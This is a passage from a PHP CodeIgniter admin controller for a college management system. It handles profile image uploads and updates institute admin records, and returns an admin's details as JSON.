                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Admin Info. Try Later.');
                            $this->editInstituteAdmin($this->input->post('clgAdmId'));
                        }
                    } else {
                        $profileImageNameWithPath = "";
                        $configLogoImg['upload_path'] = './assets/images/clg_admins/';
                        $configLogoImg['allowed_types'] = 'jpeg|jpg|png|webp';
                        $configLogoImg['max_size'] = '800';
                        $configLogoImg['file_ext_tolower'] = TRUE;
                        $configLogoImg['encrypt_name'] = TRUE;
                        $this->load->library('upload', $configLogoImg);
                        if (!$this->upload->do_upload('clgAdminProfileImg')) {
                            $this->session->set_flashdata('errorMessage', "The Profile Image Can Not Be Uploaded As It Do Not Match With Logo Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp.");
                            $this->editInstituteAdmin($this->input->post('clgAdmId'));
                        } else {
                            $profileImageNameWithPath = base_url("assets/images/clg_admins/") . $this->upload->data()['file_name'];
                            $instituteAdminUpdateInfo = array(
                                'cau_id' => $this->input->post('clgAdmId'),
                                'cau_first_name' => $this->input->post('clgAdmFirstName'),
                                'cau_last_name' => $this->input->post('clgAdmLastName'),
                                'cau_email' => $this->input->post('clgAdmEmail'),
                                'cau_mobile' => $this->input->post('clgAdmMobile'),
                                'cau_gender' => $this->input->post('clgAdmGender'),
                                'cau_alt_email' => $this->input->post('clgAdmAltEmail'),
                                'cau_alt_mobile' => $this->input->post('clgAdmAltMobile'),
                                'cau_auth_sms_flag' => $this->input->post('clgAdmSMSAuthFlag'),
                                'cau_image_url' => $profileImageNameWithPath,
                                'cau_admin_opr_by' => $this->session->userdata('id'),
                                'cau_admin_opr_on' => date("Y-m-d H:i:s"),
                                'cau_last_updated_on' => date("Y-m-d H:i:s"),
                                'clg_id' => $this->input->post('clgAdmCollege')
                            );
                            if ($this->UserManagement->updateUserInfo($instituteAdminUpdateInfo)) {
                                unlink("./assets/images/clg_admins/" . $instituteAdminCurrentProfileImageFileName);
                                $this->session->set_flashdata('successMessage', 'Institute Admin Info Updated Successfully.');
                                redirect("admin/Institute/instituteAdmins");
                            } else {
                                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Admin Info. Try Later.');
                                $this->editInstituteAdmin($this->input->post('clgAdmId'));
                            }
                        }
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function getInstituteAdminInfoBy() {
        $cau_id = $_POST['inst_admin_id'];
        $institute_admin_info = $this->UserManagement->getUserFullInfoById($cau_id, "CA", "NA")->result()[0];
        $gender = "";
        if ($institute_admin_info->cau_gender == "M") {
            $gender = "Male";
        } else {
            if ($institute_admin_info->cau_gender == "F") {
                $gender = "Female";
            } else {
                $gender = "Other";
            }
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'cau_id' => $institute_admin_info->cau_id,
            'cau_first_name' => $institute_admin_info->cau_first_name,
            'cau_last_name' => $institute_admin_info->cau_last_name,
            'cau_email' => $institute_admin_info->cau_email,
            'cau_mobile' => $institute_admin_info->cau_mobile,
            'cau_alt_email' => ($institute_admin_info->cau_alt_email == "") ? "NA" : $institute_admin_info->cau_alt_email,
            'cau_alt_mobile' => ($institute_admin_info->cau_alt_mobile == "") ? "NA" : $institute_admin_info->cau_alt_mobile,
            'cau_mobile_verify_status' => ($institute_admin_info->cau_mobile_verify_status == "T") ? "Yes" : "No",
            'cau_email_verify_status' => ($institute_admin_info->cau_email_verify_status == "T") ? "Yes" : "No",
            'cau_gender' => $gender,
            'cau_signup_by' => $institute_admin_info->sa_name . " On " . date('d-m-Y h:i:s A', strtotime($institute_admin_info->cau_signup_on)),
            'cau_sa_operation_by' => $institute_admin_info->sa_name . " On " . date('d-m-Y h:i:s A', strtotime($institute_admin_info->cau_admin_opr_on)),
            'cau_ca_operation_on' => date('d-m-Y h:i:s A', strtotime($institute_admin_info->cau_last_updated_on)),
            'cau_user_type_flag' => "NA",
            'cau_user_role_flag' => "Institute Admin",
            'cau_image_url' => $institute_admin_info->cau_image_url,
            'cau_auth_sms_flag' => ($institute_admin_info->cau_auth_sms_flag == 'T') ? "SMS Allowed" : "SMS Not Allowed",
            'cau_approve_status' => ($institute_admin_info->cau_approve_status == 'T') ? "Approved" : "Approval Pending",
            'cau_delete_status' => ($institute_admin_info->cau_delete_status == 'T') ? "Deleted" : "-",
            'cau_block_status' => ($institute_admin_info->cau_block_status == 'F') ? "Unblocked" : "Blocked",
            'clg_name' => $institute_admin_info->clg_name
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023